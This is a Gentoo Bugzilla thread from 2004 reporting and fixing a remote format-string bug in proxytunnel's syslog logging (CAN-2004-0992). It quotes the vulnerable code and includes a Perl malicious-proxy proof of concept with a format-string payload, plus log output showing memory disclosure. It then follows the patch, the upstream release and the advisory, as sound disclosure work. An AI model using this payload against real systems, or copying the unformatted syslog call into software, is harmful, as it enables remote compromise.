| Summary: | net-misc/proxytunnel: remote exploitable formatstring bug | ||||||
|---|---|---|---|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Florian Schilhabel (RETIRED) <ruth> | ||||
| Component: | Vulnerabilities | Assignee: | Gentoo Security <security> | ||||
| Status: | RESOLVED FIXED | ||||||
| Severity: | normal | ||||||
| Priority: | High | ||||||
| Version: | unspecified | ||||||
| Hardware: | All | ||||||
| OS: | All | ||||||
| URL: | http://proxytunnel.sourceforge.net | ||||||
| Whiteboard: | B1 [glsa] 20041003 | ||||||
| Package list: | Runtime testing required: | --- | |||||
| Attachments: |
|
||||||
|
Description
Florian Schilhabel (RETIRED)
2004-10-29 01:56:56 UTC
net-misc/proxytunnel: remote exploitable formatstring bug INTRO hi, i have found a remote exploitable formatstring bug in net-misc/proxytunnel. HOMEPAGE http://proxytunnel.sourceforge.net DESCRIPTION ProxyTunnel is a program that connects stdin and stdout to a server somewhere on the network, through a standard HTTPS proxy. We mostly use it to tunnel SSH sessions through HTTP(S) proxies, allowing us to do many things that wouldn't be possible without ProxyTunnel. Proxytunnel can currently do the following: * Create tunnels using HTTP and HTTPS proxies (That understand the HTTP CONNECT command). * Work as a back-end driver for an OpenSSH client, and create SSH connections through HTTP(S) proxies. * Work as a stand-alone application, listening on a port for connections, and then tunneling these connections to a specified destination. EXPLOIT: the affected function is located in message.c: if the program is started in daemon mode (-a [port]), it logs invalid proxy answers to syslog. see http.c: -- http.c -- void analyze_HTTP() { char *p = strtok( buf, " "); if (strcmp( p, "HTTP/1.0" ) != 0 && strcmp( p, "HTTP/1.1" ) != 0) { message( "Unsupported HTTP version number %s\n", p ); exit( 1 ); } p = strtok( 0, " "); if( strcmp( p, "200" ) != 0 ) { message( "HTTP return code: '%s'\n", p ); p += strlen( p ) + 1; message( "%s\n", p ); exit( 1 ); } } -- eof -- that means, a malicious proxy server can send any string (including formatstrings!!!) to proxytunnel. as the program fails to properly format the string sent to syslog(), there's clearly a classical formatstring bug. successful exploitation is not simple, btw, as the maximum available buffer is char buf[1024]; nevertheless it should be possible... -- messages.c -- void message( char *s, ... ) { va_list ap; char buf[1024]; va_start( ap, s ); vsnprintf( buf, sizeof( buf ), s, ap ); va_end( ap ); if ( i_am_daemon ) syslog( LOG_NOTICE, buf ); else fputs( buf, stderr ); } -- eof -- an attacker would have to create a malicious proxy server, that simply sends out exploitation code to proxytunnel. here's a simple example: -- exploitserver.pl -- #!/usr/bin/perl use IO::Socket; $server = IO::Socket::INET->new(LocalPort => 2020, Type => SOCK_STREAM, Reuse => 1, Listen => 10 ) or die "Couldn't be a tcp server on port 2020 : $@\n"; while ($client = $server->accept()) { print $client "HTTP/1.1 202 AAAA%300.300x%.10s%x%x%x%x%x%x%x%x%x%x%x%x%x%x\n"; } close($server); -- eof -- for demonstration, do the following: start proxytunnel: [flo@leela][tmp:exec](~/security/vulnerable/proxytunnel-1.2.0) $ ./proxytunnel -a 2005 -g localhost -G 2020 -d localhost -D 80 -v start the evil proxy server: [flo@leela][tmp:exec](~) $ perl ./exploitserver.pl finally telnet to proxytunnel: [flo@leela][tmp:exec](~) $ telnet localhost 2005 result: --- /var/log/daemon.log --- [snip] Oct 29 10:21:41 leela ./proxytunnel[17109]: localhost is 127.0.0.1 Oct 29 10:21:41 leela ./proxytunnel[17109]: Connected to localhost:2020 Oct 29 10:21:41 leela ./proxytunnel[17109]: Connect string sent to Proxy: 'CONNECT localhost:80 HTTP/1.0^M Proxy-Connection: Keep-Alive^M ^M ' Oct 29 10:21:41 leela ./proxytunnel[17037]: Started tunnel pid=17109 for connection from 127.0.0.1 Oct 29 10:21:41 leela ./proxytunnel[17109]: HTTP/1.1 202 AAAA00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000804ab93ÀÌ^D^H^A50545448312e312f32303220414141203033254130332e302e25783025733031257825782578257825782578257825782578257825782578 Oct 29 10:21:41 leela ./proxytunnel[17109]: HTTP return code: '202' Oct 29 10:21:41 leela ./proxytunnel[17109]: AAAA00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000804ac40ÍÌ^D^H^I^L^Iÿ<41414141303033253030332e312e257878257330782578257825782578257825782578257825782578257825a0a782520746e0050206f74 Oct 29 10:21:41 leela ./proxytunnel[17109]: Goodbye... [snip] -- eof -- very interesting here is: 804ac40ÍÌ^D^H^I^L^Iÿ<4141414130 that response shows, that we have successfully found our AAAA (attack vector) in the memory(41414141)... i have verified this bug with version 1.2.0, wich is not the latest. looking at 1.2.2 sources, the bug is still there. as the project is alive, this issue should be fixed upstream; vendor has not yet been contacted. fix is simple, btw: <<< syslog( LOG_NOTICE, buf ); >>> syslog( LOG_NOTICE, "%s", buf ); best regards, florian [rootshell] Audit team, please peer-review requesting comments... ;-) Florian, Are you going to make contact with upstream or do you need us to? Created attachment 42941 [details, diff]
proxytunnel-1.2.2-syslog.patch
I can confirm this problem exists in upstreams current 1.2.2
What I would like to see in homebrewed vulnerabilities like this one (or the davfs one) is a 4-step process : - Auditor finds vulnerability - Auditor submits vulnerability as a ready-to-be-sent-upstream report - Audit team peer-reviews the report - Auditor submits report upstream or to vendor-sec, attributing credit to himself as part of Gentoo Linux Security Audit Team For the moment we're at step 2, checking the vulnerability and the report. If 1 (2) other persons think it's ok, Florian should send it upstream. The idea is to get a coordinated release date between upstream and us (to avoid what we got with rssh, being late on a vulnerability *we* found). If the vulnerability is major?/critical/blocker and affects other distributions, it must be a coordinated release date between vendor-sec, upstream and us. Florian any word from upstream? Should I contact vendor sec? ---------------------------------------- Note to * We need an auditing alias something other than audit@gentoo.org as it's already in use by me for something else. Some things will be security bugs and other things will be general fixes for stuff we don't like. I'd like to CC: this bugzilla alias in on some bugs which are assigned to hardened or which hardened@ lands on the assigned list simply because some XYZ program overflows somewhere during runtime operation. Alot of these types of bugs I just fix in gentoo. Sometimes they may be real security problems and sometimes not. Often these bugs contain alot of debug info and attachments while they are in program and would cause to much noise if assigned to security@ s/program/progress/ I sent this upstream. From: Mark Janssen <maniac@maniac.nl> To: Dan Margolis <krispykringle@gentoo.org> Cc: markjanssen@users.sourceforge.net, florian.schilhabel@gmx.net, Security Team <security@gentoo.org> Subject: Re: Gentoo Audit Vulnerability Findings: Proxytunnel remote formatstring bug Date: Mon, 1 Nov 2004 23:19:33 +0100 On Mon, Nov 01, 2004 at 01:26:53PM -0500, Dan Margolis wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > Florian Schilhabel, aka rootshell, of the Gentoo Audit Project[1] has > discovered a remote format string vulnerability in Proxytunnel (verified > in versions 1.2.0 and 1.2.2). In keeping with the Gentoo Audit policy, Thank you for your good analysis and explanation. I'll apply the fix to the cvs-tree somewhere tomorrow and release an updated version. From Mark Janssen: ------------------------------------- I've applied the proposed fix and uploaded the new version as 1.2.3 to sourceforge. Either get it there or from CVS. Thank you for the audit and patch ------------------------------------- vapier: could you please bump ot to 1.2.3 (or apply fix to current, your call) 2004/11/2 - Proxytunnel 1.2.3 released Version 1.2.3 includes a security-fix as reported by the Gentoo security team. If you use proxytunnel you are advised to upgrade if you don't trust your proxy-host. 2004/10/12 - Proxytunnel 1.2.2 released I really should update the news page when making new releases ;) We are already up to 1.2.2. This version has a security fix (Storing proxy username and password in env-vars) and some new makefiles (and the older ones cleaned up). -------------------------------------------------------------------------------- The version that was in portage had other security problems with it so fixing would of required a bit more work. 1.2.3 is in the tree now with ~x86 ~ppc keywords. need tests+bumps (you want another bug# for that?) I had to update the makefile patch in order for it to install correctly. Note: Can somebody from the sec team put out a call for a gentoo dev maintainer for proxytunnel in the future. This bug would serve as a good example of what happens when things go unattented in the tree. tested/marked stable on x86. was able to use it to make a connection to my home machine. This is CAN-2004-0992 From: Martin Schulze <joey@infodrom.org> To: security@gentoo.org, florian.schilhabel@gmx.net, maniac@maniac.nl Cc: vendor-sec@lst.de Subject: [vendor-sec] Re: [Fwd: Re: Proxytunnel remote formatstring bug] Date: Tue, 2 Nov 2004 19:51:25 +0100 Ned Ludd wrote: > This is semi public now and Gentoo will be doing a GLSA on 20041103 at > 1400UTC unless anybody desires for us to wait longer. > http://proxytunnel.sourceforge.net/ Please use CAN-2004-0992. Regards, Joey GLSA 200411-07 |